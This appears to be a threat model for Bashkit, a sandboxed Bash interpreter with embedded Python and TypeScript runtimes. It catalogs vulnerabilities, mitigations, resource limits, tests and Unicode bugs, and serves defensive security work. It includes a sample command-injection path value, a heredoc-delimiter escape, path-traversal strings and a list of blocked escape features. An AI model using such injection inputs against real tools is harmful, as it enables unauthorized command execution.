| TM-PY-029 | ContextVar capture may include sensitive state | copy_context() snapshots all caller ContextVars, not just intended ones |
Accepted: same semantics as asyncio.Task context inheritance; caller controls what is set |
| Threat ID | Vulnerability | Impact | Recommendation |
|---|---|---|---|
| TM-DOS-056 | source self-recursion stack overflow |
Process crash (SIGABRT) via script that sources itself | Track source depth like function depth; apply max_function_depth limit |
| TM-DOS-057 | sleep bypasses execution timeout |
CPU/time exhaustion; sleep, subshell sleep, pipeline sleep, background sleep, timeout builtin all ignore ExecutionLimits::timeout |
Implement timeout as tokio::time::timeout wrapper around exec(), not cooperative check |
| TM-DOS-058 | Single-builtin unbounded output | OOM via seq 1 1000000 producing 1M lines despite command limit of 50 |
Add max_stdout_bytes / max_stderr_bytes to ExecutionLimits (see #648) |
| TM-INJ-019 | unset removes readonly variables |
Integrity bypass — readonly protection defeated | Check readonly attribute in unset before removal |
| TM-INJ-020 | declare overwrites readonly variables |
Integrity bypass — declare X=new overwrites readonly X=old |
Check readonly attribute in declare assignment path |
| TM-INJ-021 | export overwrites readonly variables |
Integrity bypass — export X=new overwrites readonly X=old |
Check readonly attribute in export assignment path |
| TM-ISO-021 | EXIT trap leaks across exec() calls |
Cross-invocation interference — trap from exec N fires in exec N+1 | Reset traps in reset_for_execution() |
| TM-ISO-022 | $? leaks across exec() calls |
State pollution — exit code from previous exec visible to next exec | Reset last_exit_code in reset_for_execution() |
| TM-ISO-023 | set -e leaks across exec() calls |
Unexpected abort — set options from previous exec affect next exec |
SET_OPTION_VARS cleared in reset_transient_state() (FIXED) |
| TM-ISO-024 | $? leaks into VFS subprocess |
Parent last_exit_code visible inside VFS script subprocess, causing false set -e failures |
Reset last_exit_code = 0 and nounset_error = None in execute_script_content subprocess isolation |
| TM-INT-007 | /dev/urandom empty with head -c |
Weak randomness — head -c 16 /dev/urandom returns empty string |
Fix virtual device pipe handling in head builtin |
| TM-DOS-044 | Nested $() stack overflow (regression) |
Process crash (SIGABRT) at depth ~50 despite #492 fix | Interpreter execution path may need separate depth tracking from lexer fix |
| TM-DOS-088 | Command substitution OOM via state cloning | OOM at depth N (memory ≈ N × state_size) | Dedicated max_subst_depth limit (default 32), separate from max_function_depth — FIXED via #1088 |
| TM-DOS-089 | Command substitution stack overflow via inlined futures | SIGABRT at ~20-30 nested $() levels | Box::pin expand_word and execute_cmd_subst to cap per-level stack — FIXED via #1089 |
| Threat ID | Vulnerability | Impact | Rationale |
|---|---|---|---|
| TM-DOS-011 | Symlinks not followed | Functionality gap | By design - prevents symlink attacks |
| TM-DOS-025 | Regex backtracking | CPU exhaustion | Regex crate has internal limits |
| TM-DOS-033 | AWK unbounded loops | CPU exhaustion | 30s timeout backstop |
| TM-UNI-004 | Zero-width chars in variable names | Variable confusion | Matches Bash behavior |
| TM-UNI-006 | Homoglyph filenames | Visual confusion | Impractical to fully detect |
| TM-UNI-008 | Normalization bypass | Duplicate filenames | Matches Linux FS behavior |
| TM-UNI-014 | Bidi overrides in script source | Trojan Source | Scripts are untrusted by design |
| Control | Threat IDs | Implementation | Tested |
|---|---|---|---|
| Input size limit (10MB) | TM-DOS-001 | limits.rs |
Yes |
| Command limit (10K) | TM-DOS-002, TM-DOS-004, TM-DOS-019 | limits.rs |
Yes |
| Loop limit (10K) | TM-DOS-016, TM-DOS-017 | limits.rs |
Yes |
| Total loop limit (1M) | TM-DOS-018 | limits.rs |
Yes |
| Function depth (100) | TM-DOS-020, TM-DOS-021 | limits.rs |
Yes |
| Parser timeout (5s) | TM-DOS-024 | limits.rs |
Yes |
| Parser fuel (100K ops) | TM-DOS-024 | limits.rs |
Yes |
| AST depth limit (100) | TM-DOS-022 | limits.rs |
Yes |
| Child parser limit propagation | TM-DOS-021 | parser/mod.rs |
Yes |
| Arithmetic depth limit (50) | TM-DOS-026 | interpreter/mod.rs |
Yes |
| Builtin parser depth limit (100) | TM-DOS-027 | builtins/awk.rs, builtins/jq.rs |
Yes |
| Execution timeout (30s) | TM-DOS-023 | limits.rs |
Yes |
| Virtual filesystem | TM-ESC-001, TM-ESC-003 | fs/memory.rs |
Yes |
| Filesystem limits | TM-DOS-005 to TM-DOS-010, TM-DOS-014 | fs/limits.rs |
Yes |
| Path depth limit (100) | TM-DOS-012 | fs/limits.rs |
Yes |
| Filename length limit (255) | TM-DOS-013 | fs/limits.rs |
Yes |
| Path length limit (4096) | TM-DOS-013 | fs/limits.rs |
Yes |
| Path char validation | TM-DOS-015 | fs/limits.rs |
Yes |
| Zip bomb protection | TM-DOS-007, TM-NET-013 | builtins/archive.rs |
Yes |
| Path normalization | TM-ESC-001, TM-INJ-005 | fs/memory.rs |
Yes |
| No symlink following | TM-ESC-002, TM-DOS-011 | fs/memory.rs |
Yes |
| Network allowlist | TM-INF-010, TM-NET-001 to TM-NET-007 | network/allowlist.rs |
Yes |
| Domain allowlist | TM-NET-015, TM-NET-016, TM-NET-017 | network/allowlist.rs |
Planned |
| Sandboxed eval/bash/sh, no exec | TM-ESC-005 to TM-ESC-008, TM-ESC-015, TM-INJ-003 | interpreter/mod.rs |
Yes |
| Fail-point testing | All controls | security_failpoint_tests.rs |
Yes |
| Builtin panic catching | TM-INT-001, TM-INT-002, TM-INT-006 | interpreter/mod.rs |
Yes |
| Date format validation | TM-INT-003 | builtins/date.rs |
Yes |
| Error message sanitization | TM-INT-004, TM-INT-005 | error.rs |
Yes |
| HTTP response size limit | TM-NET-008, TM-NET-012 | network/client.rs |
Yes |
| HTTP connect timeout | TM-NET-009 | network/client.rs |
Yes |
| HTTP read timeout | TM-NET-010 | network/client.rs |
Yes |
| No auto-redirect | TM-NET-011, TM-NET-014 | network/client.rs |
Yes |
| No host proxy | TM-NET-015 | network/client.rs |
Yes |
| Log value redaction | TM-LOG-001 to TM-LOG-004 | logging.rs |
Yes |
| Log injection prevention | TM-LOG-005, TM-LOG-006 | logging.rs |
Yes |
| Log value truncation | TM-LOG-007, TM-LOG-008 | logging.rs |
Yes |
| Python resource limits | TM-PY-001 to TM-PY-003 | builtins/python.rs |
Yes |
| Path char validation (bidi) | TM-DOS-015, TM-UNI-003, TM-UNI-011 | fs/limits.rs |
Partial (bidi yes, zero-width/tags no) |
| Builtin panic catching | TM-INT-001, TM-UNI-001, TM-UNI-002, TM-UNI-015, TM-UNI-016, TM-UNI-017 | interpreter/mod.rs |
Yes (catch_unwind) |
| Finding | Threat IDs | Required Control | Status |
|---|---|---|---|
| Wrapping arithmetic | TM-DOS-029 | wrapping_* ops, clamp shift/exponent |
NEEDED |
| VFS limit enforcement on public API | TM-ESC-012, TM-ESC-013 | validate_path() + check_write_limits() in add_file() |
NEEDED |
| Custom jaq env function | TM-INF-013, TM-ISO-004 | Read from ctx.env/ctx.variables, not std::env |
DONE |
| Internal variable namespace isolation | TM-INJ-009 | Separate HashMap or prefix rejection | NEEDED |
| Parser limit propagation | TM-DOS-030 | Parser::with_limits() in eval/source/trap/alias |
NEEDED |
| ExtGlob depth limit | TM-DOS-031 | Depth parameter in glob_match_impl |
NEEDED |
| Python wrapper input sanitization | TM-PY-023, TM-PY-024 | shlex.quote() or direct VFS API |
NEEDED |
| Tar path validation | TM-INJ-010 | Check resolved path starts with extract_base | NEEDED |
| Git branch name validation | TM-GIT-014 | Reject .., control chars, trailing .lock |
NEEDED |
| GIL release in execute_sync | TM-PY-025 | py.allow_threads() wrapper |
NEEDED |
| TOCTOU fix in append_file | TM-DOS-034 | Single write lock for read-check-write | DONE |
| OverlayFs combined limit accounting | TM-DOS-035, TM-DOS-036 | Use combined usage for limit checks, subtract overrides | NEEDED |
| OverlayFs chmod CoW limits | TM-DOS-037 | Route copy-on-write through check_write_limits() |
NEEDED |
| OverlayFs recursive whiteout | TM-DOS-038 | Check ancestor whiteouts in is_whiteout() |
NEEDED |
| VFS-wide path validation | TM-DOS-039 | validate_path() in all path-accepting methods |
NEEDED |
| Custom builtin preservation | TM-ESC-014 | Clone builtins instead of std::mem::take |
DONE |
| Python config preservation on reset | TM-PY-026 | Store and reapply builder config | NEEDED |
| JSON conversion depth limit | TM-PY-027 | Depth counter in py_to_json/json_to_py |
NEEDED |
| Cyclic nameref detection | TM-INJ-011 | Track visited names, emit error on cycle | NEEDED |
| Error message sanitization gaps | TM-INF-016 | Consistent Display format, wrap external errors | DONE |
| 32-bit integer safety | TM-DOS-040 | usize::try_from() for u64 casts |
NEEDED |
| Finding | Threat IDs | Required Control | Status |
|---|---|---|---|
| Internal prefix injection via builtins | TM-INJ-012 to TM-INJ-015 | Add is_internal_variable() check to declare, readonly, local, export |
NEEDED |
Missing _ARRAY_READ_ in prefix guard |
TM-INJ-016 | Add prefix to is_internal_variable() |
NEEDED |
| Internal marker info leak | TM-INF-017 | Filter internal vars from set and declare -p output |
NEEDED |
| Brace expansion DoS | TM-DOS-041, TM-DOS-042 | Cap range size and total expansion count | NEEDED |
| Arithmetic overflow in compound assignment | TM-DOS-043 | Use wrapping_* ops in execute_arithmetic_with_side_effects |
NEEDED |
| Lexer stack overflow | TM-DOS-044 | Depth tracking in read_command_subst_into |
NEEDED |
| Cmd subst OOM via state cloning | TM-DOS-088 | max_subst_depth limit in ExecutionLimits |
DONE |
| OverlayFs symlink limit bypass | TM-DOS-045 | check_write_limits() + validate_path() in symlink() |
NEEDED |
| MountableFs path validation gap | TM-DOS-046 | validate_path() in all MountableFs methods |
NEEDED |
| VFS copy/rename semantic bugs | TM-DOS-047, TM-DOS-048 | Fix limit check in copy(), type check in rename() | NEEDED |
| Date time info leak | TM-INF-018 | Configurable time source | NEEDED |
| Python BashTool.reset() drops limits | TM-PY-028 | Preserve config on reset (match PyBash.reset()) | NEEDED |
| YAML parser depth limit | TM-DOS-051 | Depth parameter in parse_yaml_block/parse_yaml_map/parse_yaml_list |
NEEDED |
| Template engine depth limit | TM-DOS-052 | Depth parameter in render_template |
NEEDED |
| Unzip path traversal validation | TM-INJ-017 | Validate resolved path stays within extract_base |
NEEDED |
| Dotenv internal variable guard | TM-INJ-018 | is_internal_variable() check in dotenv insert |
NEEDED |
| Session-level cumulative counters | TM-ISO-005 | Persistent counters across exec() calls within a Bash instance |
NEEDED |
| Per-instance memory budget | TM-ISO-006 | MemoryLimits capping variable count, total bytes, array entries, function count |
NEEDED |
All execution counters reset per exec() call. Each script invocation gets a fresh
budget; hitting a limit in one call does not affect subsequent calls on the same instance.
ExecutionLimits::new()
.max_commands(10_000) // Per-exec() (TM-DOS-002, TM-DOS-004, TM-DOS-019)
.max_loop_iterations(10_000) // TM-DOS-016, TM-DOS-017
.max_total_loop_iterations(1_000_000) // TM-DOS-018 (nested loop cap)
.max_function_depth(100) // TM-DOS-020, TM-DOS-021
.timeout(Duration::from_secs(30)) // TM-DOS-023
.parser_timeout(Duration::from_secs(5)) // TM-DOS-024
.max_input_bytes(10_000_000) // TM-DOS-001 (10MB)
.max_ast_depth(100) // TM-DOS-022 (also inherited by child parsers: TM-DOS-021)
.max_parser_operations(100_000) // TM-DOS-024 (also inherited by child parsers: TM-DOS-021)
// Note: MAX_ARITHMETIC_DEPTH (50) is a compile-time constant in interpreter (TM-DOS-026)
// Note: MAX_AWK_PARSER_DEPTH (100) is a compile-time constant in builtins/awk.rs (TM-DOS-027)
// Note: MAX_JQ_JSON_DEPTH (100) is a compile-time constant in builtins/jq.rs (TM-DOS-027)
// Path validation limits (applied via FsLimits):
FsLimits::new()
.max_path_depth(100) // TM-DOS-012
.max_filename_length(255) // TM-DOS-013
.max_path_length(4096) // TM-DOS-013
// Note: validate_path() also rejects control chars and bidi overrides (TM-DOS-015)| Responsibility | Related Threats | Description |
|---|---|---|
| Sanitize env vars | TM-INF-001, TM-INF-019, TM-INF-020 | Don't pass secrets to untrusted scripts (envsubst/template also expose env) |
| Use network allowlist | TM-INF-010, TM-NET-* | Default denies all network access |
| Sanitize output | TM-INJ-008 | Filter terminal escapes if displaying output |
| Set appropriate limits | TM-DOS-* | Tune limits for your use case |
| Sanitize displayed filenames | TM-UNI-003, TM-UNI-006, TM-UNI-011 | Strip zero-width/invisible/confusable chars before showing to users |
| Bidi sanitize script display | TM-UNI-014 | Strip bidi overrides if displaying script source to code reviewers |
| Threat Category | Unit Tests | Fail-Point Tests | Threat Model Tests | Fuzz Tests | Proptest |
|---|---|---|---|---|---|
| Resource limits | ✅ | ✅ | ✅ | ✅ | ✅ |
| Filesystem escape | ✅ | ✅ | ✅ | - | ✅ |
| Injection attacks | ✅ | ❌ | ✅ | ✅ | ✅ |
| Information disclosure | ✅ | ✅ | ✅ | - | - |
| Network bypass | ✅ | ❌ | ✅ | - | - |
| HTTP attacks | ✅ | ❌ | ✅ | - | - |
| Multi-tenant isolation | ✅ | ❌ | ✅ | - | - |
| Parser edge cases | ✅ | ❌ | ✅ | ✅ | ✅ |
| Custom builtin errors | ✅ | ✅ | ✅ | - | - |
| Logging security | ✅ | ❌ | ✅ | - | ✅ |
| Unicode security | ✅ | ❌ | ✅ | ❌ | ❌ |
Test Files:
tests/threat_model_tests.rs- 117 threat-based security teststests/unicode_security_tests.rs- Unicode security tests (TM-UNI-*)tests/security_failpoint_tests.rs- Fail-point injection teststests/builtin_error_security_tests.rs- Custom builtin error handling tests (39 tests)tests/network_security_tests.rs- HTTP security tests (53 tests: allowlist, size limits, timeouts)tests/logging_security_tests.rs- Logging security tests (redaction, injection)
Recommendations:
- Add cargo-fuzz for parser and input handling
- Add proptest for Unicode string generation against builtin parsers (TM-UNI-001, TM-UNI-002, TM-UNI-015, TM-UNI-016, TM-UNI-017)
- Add fuzz target for awk/sed/expr/printf/cut/tr with multi-byte Unicode input
- Add property tests for network allowlist with multi-byte URL paths (TM-UNI-019)
This section documents the security tools used to detect and prevent vulnerabilities in Bashkit.
| Tool | Purpose | CI Integration | Frequency |
|---|---|---|---|
| cargo-audit | CVE scanning for dependencies | ✅ Required | Every PR |
| cargo-deny | License + advisory checks | ✅ Required | Every PR |
| cargo-clippy | Lint with security-focused warnings | ✅ Required | Every PR |
| cargo-geiger | Count unsafe code blocks | ✅ Informational | Every PR |
cargo-audit: Scans Cargo.lock against RustSec Advisory Database for known vulnerabilities.
cargo auditcargo-geiger: Tracks unsafe code usage to ensure it remains minimal and audited.
cargo geiger --all-features| Tool | Purpose | CI Integration | Frequency |
|---|---|---|---|
| cargo-fuzz | LibFuzzer-based fuzzing | ✅ Scheduled | Nightly/Weekly |
| Miri | Undefined behavior detection | ✅ Required | Every PR |
| proptest | Property-based testing | ✅ Required | Every PR |
cargo-fuzz: Finds crashes, hangs, and memory issues in parser and interpreter.
cargo +nightly fuzz run parser_fuzz -- -max_total_time=300Miri: Detects undefined behavior in unsafe code blocks.
cargo +nightly miri test --libproptest: Generates random inputs to test invariants and boundary conditions.
proptest! {
#[test]
fn parser_handles_arbitrary_input(s in ".*") {
// Should not panic on any input
let _ = parse(&s);
}
}| Tool | Purpose | When to Use |
|---|---|---|
| AddressSanitizer (ASAN) | Memory errors, buffer overflow | Local testing, CI (optional) |
| Miri | UB detection in unsafe code | CI required |
| cargo-careful | Extra UB checks | Local development |
| Tool | Purpose | CI Integration |
|---|---|---|
| cargo-audit | Known CVE detection | ✅ Required |
| cargo-deny | License compliance | ✅ Required |
| Dependabot | Automated dependency updates | GitHub-native |
The following components are fuzz-tested for robustness:
| Target | File | Threats Mitigated |
|---|---|---|
| Parser | fuzz/fuzz_targets/parser_fuzz.rs |
V3 (parser hang), V4 (parser recursion) |
| Lexer | fuzz/fuzz_targets/lexer_fuzz.rs |
Tokenization crashes |
| Arithmetic | fuzz/fuzz_targets/arithmetic_fuzz.rs |
Integer overflow, parsing errors |
| Pattern matching | fuzz/fuzz_targets/glob_fuzz.rs |
Glob/regex DoS |
| Vulnerability | cargo-audit | cargo-fuzz | Miri | proptest | ASAN |
|---|---|---|---|---|---|
| Known CVEs | ✅ | - | - | - | - |
| Parser crashes | - | ✅ | - | ✅ | ✅ |
| Stack overflow | - | ✅ | ✅ | - | ✅ |
| Buffer overflow | - | ✅ | ✅ | - | ✅ |
| Undefined behavior | - | - | ✅ | - | - |
| Integer overflow | - | ✅ | ✅ | ✅ | - |
| Infinite loops | - | ✅ | - | ✅ | - |
| Memory leaks | - | ✅ | - | - | ✅ |
Experimental. Monty is an early-stage Python interpreter that may have undiscovered crash or security bugs. Resource limits are enforced by Monty's runtime. This integration should be treated as experimental.
BashKit embeds the Monty Python interpreter (pydantic/monty) with VFS bridging.
Python pathlib.Path operations are bridged to BashKit's virtual filesystem via
Monty's OsCall pause/resume mechanism. This section covers threats specific to
the Python builtin.
Python code → Monty VM → OsCall pause → BashKit VFS bridge → resume
Monty never touches the real filesystem. All Path.* operations yield OsCall
events that BashKit intercepts and dispatches to the VFS.
| ID | Threat | Severity | Mitigation | Test |
|---|---|---|---|---|
| TM-PY-001 | Infinite loop via while True |
High | Monty time limit (30s) + allocation cap | threat_python_infinite_loop |
| TM-PY-002 | Memory exhaustion via large allocation | High | Monty max_memory (64MB) + max_allocations (1M) | threat_python_memory_exhaustion |
| TM-PY-003 | Stack overflow via deep recursion | High | Monty max_recursion (200) + parser depth limit (200, since 0.0.4) | threat_python_recursion_bomb |
| TM-PY-004 | Shell escape via os.system/subprocess | Critical | Monty has no os.system/subprocess implementation | threat_python_no_os_operations |
| TM-PY-005 | Real filesystem access via open() | Critical | Monty has no open() builtin | threat_python_no_filesystem |
| TM-PY-006 | Error info leakage via stdout | Medium | Errors go to stderr, not stdout | threat_python_error_isolation |
| TM-PY-015 | Real filesystem read via pathlib | Critical | VFS bridge reads only from BashKit VFS, not host | threat_python_vfs_no_real_fs |
| TM-PY-016 | Real filesystem write via pathlib | Critical | VFS bridge writes only to BashKit VFS | threat_python_vfs_write_sandboxed |
| TM-PY-017 | Path traversal (../../etc/passwd) | High | VFS resolves paths within sandbox boundaries | threat_python_vfs_path_traversal |
| TM-PY-018 | Bash/Python VFS isolation breach | Medium | Shared VFS by design; no cross-tenant access | threat_python_vfs_bash_python_isolation |
| TM-PY-019 | Crash on missing file | Medium | FileNotFoundError raised, not panic | threat_python_vfs_error_handling |
| TM-PY-020 | Network access from Python | Critical | Monty has no socket/network module | threat_python_vfs_no_network |
| TM-PY-021 | VFS mkdir escape | Medium | mkdir operates only in VFS | threat_python_vfs_mkdir_sandboxed |
| TM-PY-022 | Parser/VM crash kills host | Critical | Parser depth limit (since 0.0.4) prevents parser crashes; Monty runs in-process with resource limits | — (removed: subprocess tests no longer applicable) |
| TM-PY-023 | Shell injection in Python wrapper | High | Python BashkitBackend (deepagents.py) uses f-string interpolation for shell commands |
OPEN |
| TM-PY-024 | Heredoc content injection | High | write() uses fixed BASHKIT_EOF delimiter; content containing it escapes heredoc |
OPEN |
| TM-PY-025 | GIL deadlock in execute_sync | High | execute_sync() calls rt.block_on() without releasing GIL; tool callbacks reacquire GIL |
OPEN |
TM-PY-023: crates/bashkit-python/bashkit/deepagents.py constructs shell commands via f-string
interpolation of user-supplied paths/content (lines 187, 198, 206, 230, 258, 278, 302). Paths
like /dev/null; echo pwned > /file execute injected commands. Fix: use shlex.quote() or
expose direct VFS methods.
TM-PY-024: The write() method uses cat > {file_path} << 'BASHKIT_EOF'\n{content}\nBASHKIT_EOF.
Content containing BASHKIT_EOF on its own line terminates the heredoc early, executing remaining
text as shell commands. Fix: random delimiter suffix or direct write API.
TM-PY-025: crates/bashkit-python/src/lib.rs:510-527 calls rt.block_on() while holding the
GIL. Tool callbacks call Python::attach() to reacquire. Can deadlock in multi-threaded Python.
Fix: wrap with py.allow_threads(|| { ... }).
| TM-PY-026 | reset() discards security config | BashTool.reset() creates new Bash with bare builder, dropping all configured limits | — | OPEN |
| TM-PY-027 | Unbounded recursion in JSON conversion | py_to_json/json_to_py recurse without depth limit on nested dicts/lists | — | OPEN |
TM-PY-026: crates/bashkit-python/src/lib.rs:260-271 — reset() creates Bash::builder().build()
without reapplying max_commands, max_loop_iterations, username, hostname. After reset,
DoS protections are silently removed. Fix: store original config and reapply.
TM-PY-027: crates/bashkit-python/src/lib.rs:58-92 — py_to_json and json_to_py recurse
on nested Python dicts/lists with no depth counter. Deeply nested structures cause stack overflow.
Fix: add depth counter, fail beyond 64 levels.
| TM-PY-029 | Host clock information disclosure | datetime.date.today() / datetime.datetime.now() expose host system time and timezone | Intentional — required for correct datetime semantics | ACCEPTED |
TM-PY-029: crates/bashkit/src/builtins/python.rs — handle_date_today() and
handle_datetime_now() read the host system clock via chrono::Local::now() /
chrono::Utc::now(). This exposes the host's current time and timezone offset to
sandboxed Python code. Accepted as intentional: datetime operations require real time,
and this information has low sensitivity. No filesystem or network access is granted.
- No real filesystem access: All Path operations go through BashKit's VFS.
/etc/passwdin Python reads from VFS, not the host. - Shared VFS with bash: Files written by
echo > fileare readable by Python'sPath(file).read_text(), and vice versa. This is intentional. - Path resolution: Relative paths are resolved against the shell's cwd.
Path traversal (
../..) is constrained by VFS path normalization. - Error mapping: VFS errors are mapped to standard Python exceptions (FileNotFoundError, IsADirectoryError, etc.), not raw panics.
- Resource isolation: Monty's own limits (time, memory, allocations, recursion) are enforced independently of BashKit's shell limits.
Monty runs directly in the host process. Resource limits (memory, allocations, time, recursion) are enforced by Monty's own runtime, not by process isolation. All VFS operations are bridged in-process — Python code never touches the real filesystem.
| Operation | VFS Method | Return Type |
|---|---|---|
| Path.exists() | fs.exists() | bool |
| Path.is_file() | fs.stat() | bool |
| Path.is_dir() | fs.stat() | bool |
| Path.is_symlink() | fs.stat() | bool |
| Path.read_text() | fs.read_file() | str |
| Path.read_bytes() | fs.read_file() | bytes |
| Path.write_text() | fs.write_file() | int |
| Path.write_bytes() | fs.write_file() | int |
| Path.mkdir() | fs.mkdir() | None |
| Path.unlink() | fs.remove() | None |
| Path.rmdir() | fs.remove() | None |
| Path.iterdir() | fs.read_dir() | list[Path] |
| Path.stat() | fs.stat() | stat_result |
| Path.rename() | fs.rename() | Path |
| Path.resolve() | identity (no symlink resolution) | Path |
| Path.absolute() | identity (no symlink resolution) | Path |
| os.getenv() | ctx.env lookup | str/None |
| os.environ | ctx.env dict | dict |
Experimental. ZapCode is an early-stage TypeScript interpreter that may have undiscovered crash or security bugs. Resource limits are enforced by ZapCode's VM. This integration should be treated as experimental.
Opt-in only. TypeScript builtins (ts, node, deno, bun) are NOT registered by default. They require both the
typescriptCargo feature flag AND an explicit.typescript()call on the builder. Without both, these commands are unavailable.
BashKit embeds the ZapCode TypeScript interpreter (zapcode-core) with VFS bridging via external function suspend/resume. TypeScript code can access the virtual filesystem through registered external functions. This section covers threats specific to the TypeScript builtin.
TypeScript code → ZapCode VM → ExternalFn suspend → BashKit VFS bridge → resume
ZapCode never touches the real filesystem. External function calls suspend the VM, BashKit intercepts and dispatches to the VFS, then resumes execution.
TypeScript execution requires two explicit opt-in steps:
- Cargo feature flag:
features = ["typescript"]— compiles zapcode-core - Builder registration:
.typescript()— registers ts/node/deno/bun commands
Without step 1, the dependency is not compiled. Without step 2, the commands are not available even if compiled. This matches the Python builtin pattern.
| ID | Threat | Severity | Mitigation | Test |
|---|---|---|---|---|
| TM-TS-001 | Infinite loop via while (true) {} |
High | ZapCode time limit (default 30s) | threat_ts_infinite_loop |
| TM-TS-002 | Memory exhaustion via large allocation | High | ZapCode max_memory (64MB) + max_allocations (1M) | threat_ts_memory_exhaustion |
| TM-TS-003 | Stack overflow via deep recursion | High | ZapCode max_stack_depth (512) | threat_ts_stack_overflow |
| TM-TS-004 | Allocation bomb (many small objects) | High | ZapCode max_allocations (1M) | threat_ts_allocation_bomb |
| TM-TS-005 | Real filesystem access via VFS | Critical | VFS bridge reads only from BashKit VFS, not host | threat_ts_vfs_no_real_fs |
| TM-TS-006 | VFS write escapes to host | Critical | VFS bridge writes only to BashKit VFS | threat_ts_vfs_write_sandboxed |
| TM-TS-007 | Path traversal (../../etc/passwd) | High | VFS resolves paths within sandbox boundaries | threat_ts_vfs_path_traversal |
| TM-TS-008 | Bash/TypeScript VFS data corruption | Medium | Shared VFS by design; no cross-tenant access | threat_ts_vfs_bash_ts_shared |
| TM-TS-009 | Crash on missing file | Medium | Error string returned, not panic | threat_ts_vfs_error_handling |
| TM-TS-010 | VFS mkdir escape | Medium | mkdir operates only in VFS | threat_ts_vfs_mkdir_sandboxed |
| TM-TS-011 | VFS operations escape to host /tmp | Critical | All operations go through BashKit VFS | threat_ts_vfs_no_host_escape |
| TM-TS-012 | Error info leakage via stdout | Medium | Errors go to stderr, not stdout | threat_ts_error_isolation |
| TM-TS-013 | Syntax error crashes host | Medium | Non-zero exit code, error on stderr | threat_ts_syntax_error_exit |
| TM-TS-014 | Exit code not propagated | Low | Exit code flows to bash $? | threat_ts_exit_code_propagation |
| TM-TS-015 | Empty code crashes | Low | Non-zero exit, error message | threat_ts_empty_code |
| TM-TS-016 | Pipeline error leakage | Medium | Errors on stderr, not passed to pipe | threat_ts_pipeline_error_handling |
| TM-TS-017 | Unknown options accepted | Low | Unknown flags return non-zero | threat_ts_unknown_options |
| TM-TS-018 | TypeScript bypasses BashKit limits | Medium | Command budget still enforced | threat_ts_respects_bash_limits |
| TM-TS-019 | Command subst captures errors | Medium | Only stdout captured by $() | threat_ts_subst_captures_stdout |
| TM-TS-020 | Bash var expansion injection | Medium | By-design; use single quotes to prevent | threat_ts_variable_expansion |
| TM-TS-021 | Shell command execution from TS | Critical | No process/subprocess/exec globals | threat_ts_no_shell_exec |
| TM-TS-022 | Script reads from host filesystem | Critical | Script file loaded via VFS | threat_ts_script_from_vfs |
| TM-TS-023 | Shebang line injection | Low | Shebang stripped safely | threat_ts_shebang_stripped |
ZapCode blocks these at the language level (not just runtime):
| Feature | Status | Rationale |
|---|---|---|
eval() |
Blocked | Dynamic code execution escape |
Function() constructor |
Blocked | Dynamic code generation |
import / require |
Blocked | Module system not implemented |
process global |
Blocked | No Node.js process API |
Deno global |
Blocked | No Deno runtime API |
Bun global |
Blocked | No Bun runtime API |
globalThis.process |
Blocked | No runtime globals |
__proto__ mutation |
Blocked | Prototype pollution prevention |
- No real filesystem access: All VFS-bridged functions go through BashKit's
VFS.
/etc/passwdin TypeScript reads from VFS, not the host. - Shared VFS with bash: Files written by
echo > fileare readable by TypeScript'sreadFile(), and vice versa. This is intentional. - Path resolution: Relative paths are resolved against the shell's cwd.
Path traversal (
../..) is constrained by VFS path normalization. - Error handling: VFS errors return error strings to TypeScript, not panics.
- Resource isolation: ZapCode's own limits (time, memory, stack, allocations) are enforced independently of BashKit's shell limits.
| Operation | External Function | Return Type |
|---|---|---|
| Read file | readFile(path) | string |
| Write file | writeFile(path, content) | undefined |
| Check existence | exists(path) | boolean |
| List directory | readDir(path) | string[] |
| Create directory | mkdir(path) | undefined |
| Delete file/dir | remove(path) | undefined |
| File metadata | stat(path) | JSON string |
ZapcodeSnapshot::resume() does not expose the VM's accumulated stdout.
This means console.log() output produced after a VFS call (external
function) is not captured. Use the return-value pattern instead — the last
expression's value is printed. This is a zapcode-core API limitation.
Unicode handling presents a broad attack surface in any interpreter that processes untrusted text input. Bashkit processes Unicode in script source, variable values, filenames, and builtin arguments (awk/sed/grep patterns). This section catalogs Unicode-specific threats beyond the path-level protections in TM-DOS-015.
Context: AI agents (Bashkit's primary users) frequently generate Unicode content — LLMs produce box-drawing characters, emoji, CJK, accented text, and other multi-byte sequences in comments, strings, and data. Issue #395 demonstrated that the awk parser panics on multi-byte Unicode because it conflates character positions with byte offsets.
| ID | Threat | Attack Vector | Mitigation | Status |
|---|---|---|---|---|
| TM-UNI-001 | Byte-boundary panic in awk | awk '{print}' <<< "─ comment" — multi-byte char causes self.input[self.pos..] panic |
catch_unwind (TM-INT-001) catches the panic; root fix requires char-boundary-safe indexing |
PARTIAL |
| TM-UNI-002 | Byte-boundary panic in sed | sed 's/─/x/' file — similar byte-offset slicing |
catch_unwind catches; needs audit of &s[start..i] patterns |
PARTIAL |
| TM-UNI-015 | Byte-boundary panic in expr | expr substr "café" 4 1 — char position used as byte index in string slice |
catch_unwind catches; .len() returns bytes but used as char count |
PARTIAL |
| TM-UNI-016 | Byte-boundary panic in printf | printf "%.1s" "é" — precision truncation slices mid-character |
catch_unwind catches; &s[..prec] without boundary check |
PARTIAL |
| TM-UNI-017 | Byte-level char set in cut/tr | echo "café" | tr 'é' 'x' — as_bytes() iteration drops multi-byte chars |
catch_unwind catches; .find() byte offsets mixed with string slicing |
PARTIAL |
| TM-UNI-018 | Byte/char confusion in arithmetic | ((α=1)) — find('=') byte offset used as char index in .chars().nth() |
Wrong character inspection; no panic but incorrect operator detection | PARTIAL |
| TM-UNI-019 | Byte/char confusion in URL matching | Allowlist path with multi-byte chars — pattern_path.len() bytes used as char index |
Wrong path boundary check; no panic but incorrect allow/deny decision | PARTIAL |
Current Risk: MEDIUM — catch_unwind (TM-INT-001) prevents process crash for all
builtins, but they silently fail instead of processing the input correctly. Scripts get
unexpected "builtin failed unexpectedly" errors on valid Unicode input. Interpreter-level
issues (TM-UNI-018) produce wrong results without panic. Network allowlist issues
(TM-UNI-019) may produce incorrect allow/deny decisions on multi-byte URL paths.
Root Cause: A pervasive pattern across multiple components: code uses .find(),
.len(), or manual counters that return byte offsets but then passes these values
to APIs expecting character indices (.chars().nth()) or uses them where char-based
counting is needed. For ASCII this is coincidentally correct. For multi-byte UTF-8 (2–4
bytes per char), character position N does not equal byte offset N.
Affected Code:
awk.rs (50+ instances — CRITICAL):
Line 449: self.input[start..self.pos].to_string() // read_identifier
Line 453: self.input[self.pos..].starts_with(keyword) // matches_keyword
Line 1532: self.input[start..self.pos].to_string() // parse_primary
Line 1596: self.input[start..self.pos] // parse_number
Lines 397-1564: 69 instances of .chars().nth(pos) where pos is byte offset
Lines 1006-1430: ~10 operator checks using self.input[self.pos..]
sed.rs (14 instances):
